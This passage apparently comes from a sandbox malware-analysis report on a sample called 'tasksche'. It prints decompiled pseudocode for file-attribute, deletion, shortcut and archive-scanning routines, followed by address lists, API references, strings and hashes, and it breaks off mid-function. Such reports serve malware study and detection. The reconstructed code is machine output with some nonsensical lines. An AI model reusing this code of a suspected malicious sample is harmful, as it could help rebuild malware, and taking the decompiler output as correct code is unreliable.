								__eax = 0;
								__eflags = 0;
								_pop(__ecx);
								 *(__ebp + __esi - 0x4440) = __ax;
								goto L110;
							case 8:
								__eflags =  *(__ebp + 0x10) - 3;
								if( *(__ebp + 0x10) == 3) {
									__eflags =  *(__ebp - 0x4440);
									if(__eflags != 0) {
										__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
									}
									__edi = __ebp + 0xc;
									 *0x441854 = E0040D92D(__edi, __eflags);
								}
								 *0x44184b = 1;
								goto L163;
							case 9:
								__eflags =  *(__ebp + 0x10) - 5;
								if( *(__ebp + 0x10) != 5) {
									L94:
									 *0x44185c = 1;
									goto L163;
								}
								_push(1);
								L93:
								_push( *(__ebp + 8));
								__ecx = __ebp - 0x4440;
								__eax = E0040E46C(__ecx);
								goto L94;
							case 0xa:
								__eflags =  *(__ebp + 0x10) - 6;
								if( *(__ebp + 0x10) != 6) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x2440) = __ax;
								__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
								_push(__ebx);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x43f822);
									__eax = __ebp - 0x2440;
									_push(__ebp - 0x2440);
									__eax = E00410B9C();
									 *(__ebp - 0x18) = 2;
								} else {
									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2440;
									if(__eflags == 0) {
										_push(0x43e822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 7;
									} else {
										_push(0x440822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0xbc90) = __ax;
								 *(__ebp - 0x4c40) = __ax;
								__ebp - 0x19c90 = __ebp - 0x6c88;
								__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
								__eflags =  *(__ebp - 0x6c88) - 0x22;
								_pop(__ecx);
								_pop(__ecx);
								if( *(__ebp - 0x6c88) != 0x22) {
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al != 0) {
										goto L148;
									}
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
									__eflags =  *(__ebp - 0x6c88);
									__edi = __ebp - 0x6c88;
									if( *(__ebp - 0x6c88) == 0) {
										goto L148;
									} else {
										goto L136;
									}
									do {
										L136:
										__eax = __edi->i & 0x0000ffff;
										__eflags = __ax - 0x20;
										if(__ax == 0x20) {
											L138:
											__esi = __ax & 0x0000ffff;
											__eax = 0;
											__edi->i = __ax;
											__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
											__eflags = __al;
											if(__al == 0) {
												__edi->i = __si;
												goto L145;
											}
											 *(__ebp - 0x10) = __edi;
											__eflags = __si - 0x2f;
											if(__si != 0x2f) {
												do {
													__edi =  &(__edi->i);
													__edi =  &(__edi->i);
													__eflags = __edi->i - 0x20;
												} while (__edi->i == 0x20);
												_push(__edi);
												__eax = __ebp - 0x4c40;
												L143:
												_push(__eax);
												E0041A7F7() =  *(__ebp - 0x10);
												_pop(__ecx);
												_pop(__ecx);
												 *( *(__ebp - 0x10)) = __si;
												goto L145;
											}
											_push(0x2f);
											_pop(__eax);
											 *(__ebp - 0x4c40) = __ax;
											__eax =  &(__edi->i);
											_push( &(__edi->i));
											__eax = __ebp - 0x4c3e;
											goto L143;
										}
										__eflags = __ax - 0x2f;
										if(__ax != 0x2f) {
											goto L145;
										}
										goto L138;
										L145:
										__edi =  &(__edi->i);
										__edi =  &(__edi->i);
										__eflags = __edi->i;
									} while (__edi->i != 0);
									__eflags =  *(__ebp - 0x10);
									if( *(__ebp - 0x10) != 0) {
										__ecx =  *(__ebp - 0x10);
										__eax = 0;
										__eflags = 0;
										 *( *(__ebp - 0x10)) = __ax;
									}
									goto L148;
								} else {
									__ebp - 0x19c8e = __ebp - 0x6c88;
									E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
									__eax = E0041CA29(__ebp - 0x6c86, 0x22);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
										_pop(__ecx);
										_pop(__ecx);
									}
									L148:
									__esi = 0;
									__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
									if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
										__ebp - 0xbc90 = __ebp - 0x11c90;
										__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
									}
									__ebp - 0xcc90 = __ebp - 0x6c88;
									__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
									__eflags =  *(__ebp - 0x2440) - __si;
									if(__eflags == 0) {
										__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
									}
									__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
									if(__eflags != 0) {
										__ebp - 0x17c90 = __ebp - 0x2440;
										E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
										__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									}
									__ebp - 0x2440 = __ebp - 0xac90;
									__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
									_pop(__ecx);
									_pop(__ecx);
									__eax = __ebp - 0x13c90;
									__eflags =  *(__ebp - 0x13c90) - __si;
									if(__eflags == 0) {
										__eax = __ebp - 0x19c90;
									}
									__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
									__eax = __ebp - 0x2440;
									__eflags = E0040A76A(__ebp - 0x2440) - __esi;
									if(__eflags == 0) {
										L158:
										__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
										goto L159;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L159:
											__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
											__ebp - 0xcc90 = __ebp - 0x9c90;
											__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
											 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
											asm("sbb eax, eax");
											__ecx = __ebp - 0x4c40;
											__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
											 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
											asm("sbb ecx, ecx");
											__edx = __ebp - 0xbc90;
											__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
											 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
											asm("sbb edx, edx");
											__esi = __ebp - 0x15c90;
											__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
											 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
											asm("sbb esi, esi");
											__edi = __ebp - 0x9c90;
											__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
											__ebp - 0x2440 = __ebp - 0xcc90;
											__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
											__eflags =  *(__ebp - 0xac90);
											if( *(__ebp - 0xac90) != 0) {
												__eax = __ebp - 0xac90;
												SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
											}
											goto L163;
										}
										goto L158;
									}
								}
							case 0xb:
								__eflags =  *(__ebp + 0x10) - 7;
								if( *(__ebp + 0x10) == 7) {
									 *0x441878 = 1;
								}
								goto L163;
							case 0xc:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x441823 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x441822 = 1;
									} else {
										 *0x441823 = 0;
										 *0x441822 = 0;
									}
								}
								goto L163;
							case 0xd:
								 *0x44185d = 1;
								__eax = __eax + 0x44185d;
								__ecx = __ecx + __ebp;
								 *0x7d830000 =  *0x7d830000 ^ __eax;
								__eflags =  *0x7d830000;
								goto L163;
						}
						L4:
						_t274 = E0040DCB8(_t336, _t274,  *(_t354 - 0x10));
						 *(_t354 - 0x10) =  *(_t354 - 0x10) + 0x2000;
						_t15 = _t354 - 0x18;
						 *_t15 =  *((intOrPtr*)(_t354 - 0x18)) - 1;
						if( *_t15 != 0) {
							goto L4;
						} else {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) & 0x00000000;
							goto L6;
						}
						L163:
						_t347 = _t354 - 0xec90;
						_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, _t352,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
						 *((intOrPtr*)(_t354 + 0xc)) = _t271;
					} while (_t271 != 0);
				}
			}

0x0040e85c
0x0040e866
0x0040e86f
0x0040f434
0x0040f437
0x0040f43f
0x0040f43f
0x0040e891
0x0040e896
0x0040e89b
0x0040e8a2
0x0040e8a9
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb10
0x0040eb15
0x0040eb17
0x0040eb1b
0x0040eb1f
0x0040eb27
0x0040eb2c
0x0040eb2d
0x0040eb2d
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x00000000
0x0040ec30
0x00000000
0x0040ec30
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x0040f0c2
0x0040f0c6
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f203
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x00000000
0x0040f3de
0x00000000
0x0040f32e
0x0040f31f
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040f405
0x0040f41b
0x0040f421
0x0040f426
0x0040f429
0x0040f433

APIs

__EH_prolog.LIBCMT ref: 0040E85C

Part of subcall function 0040D781: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0040D82F

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,00000800,?,00000000,742BBB20,?,0040F541,?,00000003), ref: 0040E9A7
_wcslen.LIBCMT ref: 0040E9E2
_wcslen.LIBCMT ref: 0040E9F7
_wcslen.LIBCMT ref: 0040EA1D
_memset.LIBCMT ref: 0040EA33
SHFileOperationW.SHELL32 ref: 0040EA56
GetFileAttributesW.KERNEL32(?), ref: 0040EA63
DeleteFileW.KERNEL32(?), ref: 0040EA71
_wcscat.LIBCMT ref: 0040EB27
_wcslen.LIBCMT ref: 0040EB5F
_realloc.LIBCMT ref: 0040EB71
_wcscat.LIBCMT ref: 0040EB8B
SetWindowTextW.USER32(?,?), ref: 0040EBBC
_wcslen.LIBCMT ref: 0040EC05
_wcscpy.LIBCMT ref: 0040ED23
_wcsrchr.LIBCMT ref: 0040ED33
_wcscpy.LIBCMT ref: 0040ED52
GetDlgItem.USER32 ref: 0040ED6B
SetWindowTextW.USER32(00000000,?), ref: 0040ED7B
SendMessageW.USER32(00000000,00000143,00000000,%s.%d.tmp), ref: 0040ED8A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040EDB6

Strings

ProgramFilesDir, xrefs: 0040EC7D
", xrefs: 0040EBE1
\, xrefs: 0040ECCB
<br>, xrefs: 0040EB21
C:\Windows, xrefs: 0040E8B5
%s.%d.tmp, xrefs: 0040E999, 0040EA8E, 0040ED51, 0040ED81, 0040ED97
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040EC58

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$File$AttributesMessageSendTextWindow_wcscat_wcscpy$DeleteEnvironmentExpandH_prologItemOperationStrings_memset_realloc_wcsrchr
String ID: "$%s.%d.tmp$<br>$C:\Windows$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$\
API String ID: 3339014310-2533930246
Opcode ID: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction ID: 0f1639a2c7fd1c8d50817f8e0d6f0902ef34777a202bf9cba062cd401a3abf5d
Opcode Fuzzy Hash: 1bb81a03f226dba3655c32b312097dfc198427dd308b30be8a0741d2b148a8fe
Instruction Fuzzy Hash: F2F14EB1900219AADB20DBA1DC45BEE7378FF04314F4408BBFA15B21D1EB789A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC32 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040BC32(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t82;
				WCHAR* _t83;
				intOrPtr _t90;
				void* _t91;
				unsigned int _t92;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t104;
				intOrPtr _t106;
				signed int _t114;
				void* _t115;
				signed int _t116;
				signed int _t119;
				void* _t134;
				signed int _t139;
				signed int _t141;
				void* _t150;
				signed int _t153;
				signed int _t154;
				intOrPtr _t156;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t165;
				void* _t167;
				void* _t169;

				_t150 = __edx;
				E0041A4DC(E0042977F, _t167);
				E0041AAF0(0x4034);
				_t165 = __ecx;
				_t82 = E0041CA29( *((intOrPtr*)(_t167 + 8)), 0x5c);
				_t83 = _t167 - 0x2040;
				if(_t82 != 0) {
					L3:
					E0041A7F7(_t83,  *((intOrPtr*)(_t167 + 8)));
					E00408786(_t167 - 0x1040);
					_push(4);
					_t123 = 0;
					_push(_t167 - 0x2040);
					 *(_t167 - 4) = 0;
					if(E004087C3(_t167 - 0x1040) != 0) {
						_t12 = _t167 - 0x10;
						 *_t12 =  *(_t167 - 0x10) | 0xffffffff;
						__eflags =  *_t12;
						 *((char*)(_t167 + 0xb)) = 0;
						 *((intOrPtr*)(_t167 - 0x14)) = 0;
						_push(_t154);
						while(1) {
							__eflags =  *(_t167 - 0x10) - 0xffffffff;
							if( *(_t167 - 0x10) != 0xffffffff) {
								break;
							}
							_t104 = E00408BAE(_t167 - 0x1040, _t150); // executed
							 *((intOrPtr*)(_t167 - 0x1c)) = _t104;
							_t143 = _t167 - 0x1040;
							_t106 = E00408E7B(_t167 - 0x1040, _t150, _t167 - 0x4040, 0x2000); // executed
							 *((intOrPtr*)(_t167 - 0x18)) = _t106;
							_t154 = 0;
							__eflags = _t106 + 0xfffffff0 - _t123;
							if(_t106 + 0xfffffff0 < _t123) {
								L22:
								_t123 = 0;
								E00408FED(_t167 - 0x1040,  *((intOrPtr*)(_t167 - 0x18)) +  *((intOrPtr*)(_t167 - 0x1c)) - 0x10, 0, 0);
								 *((intOrPtr*)(_t167 - 0x14)) =  *((intOrPtr*)(_t167 - 0x14)) + 1;
								__eflags =  *((intOrPtr*)(_t167 - 0x14)) - 0x80;
								if( *((intOrPtr*)(_t167 - 0x14)) < 0x80) {
									continue;
								} else {
									__eflags =  *(_t167 - 0x10) - 0xffffffff;
									if( *(_t167 - 0x10) == 0xffffffff) {
										goto L51;
									} else {
										break;
									}
								}
							} else {
								do {
									_t123 = _t167 + _t154 - 0x4040;
									__eflags =  *_t123 - 0x2a;
									if( *_t123 != 0x2a) {
										L11:
										__eflags =  *_t123 - 0x2a;
										if( *_t123 != 0x2a) {
											L15:
											__eflags =  *_t123 - 0x52;
											if( *_t123 != 0x52) {
												goto L18;
											} else {
												__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x61;
												if( *((char*)(_t167 + _t154 - 0x403f)) != 0x61) {
													goto L18;
												} else {
													_t114 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a6f0, 4);
													_t169 = _t169 + 0xc;
													__eflags = _t114;
													if(_t114 == 0) {
														L51:
														_t134 = _t167 - 0x1040;
													} else {
														goto L18;
													}
												}
											}
										} else {
											_t115 = _t167 + _t154 - 0x403c;
											__eflags =  *((short*)(_t115 - 2)) - 0x2a;
											if( *((short*)(_t115 - 2)) != 0x2a) {
												goto L15;
											} else {
												_t143 =  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												if(_t154 >  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0) {
													goto L15;
												} else {
													_t116 = E0041C81C(_t115, L"*messages***", 0xb);
													_t169 = _t169 + 0xc;
													__eflags = _t116;
													if(_t116 == 0) {
														 *((char*)(_t167 + 0xb)) = 1;
														goto L21;
													} else {
														goto L15;
													}
												}
											}
										}
									} else {
										__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x2a;
										if( *((char*)(_t167 + _t154 - 0x403f)) != 0x2a) {
											goto L11;
										} else {
											_t119 = E0041D008(_t143, _t167 + _t154 - 0x403e, "*messages***", 0xb);
											_t169 = _t169 + 0xc;
											__eflags = _t119;
											if(_t119 == 0) {
												L21:
												_t154 = _t154 +  *((intOrPtr*)(_t167 - 0x1c));
												__eflags = _t154;
												 *(_t167 - 0x10) = _t154;
												goto L22;
											} else {
												goto L11;
											}
										}
									}
									goto L52;
									L18:
									_t154 = _t154 + 1;
									__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0;
								} while (_t154 <=  *((intOrPtr*)(_t167 - 0x18)) + 0xfffffff0);
								goto L22;
							}
							L52:
							_t75 = _t167 - 4;
							 *_t75 =  *(_t167 - 4) | 0xffffffff;
							__eflags =  *_t75;
							_t91 = E00408C7D(_t123, _t134);
							goto L53;
						}
						asm("cdq");
						E00408FED(_t167 - 0x1040,  *(_t167 - 0x10), _t150, _t123);
						_t90 = E0041CF3E(_t123, _t150, _t154, 0x80002);
						 *_t165 = _t90;
						_t134 = _t167 - 0x1040;
						__eflags = _t90 - _t123;
						if(_t90 != _t123) {
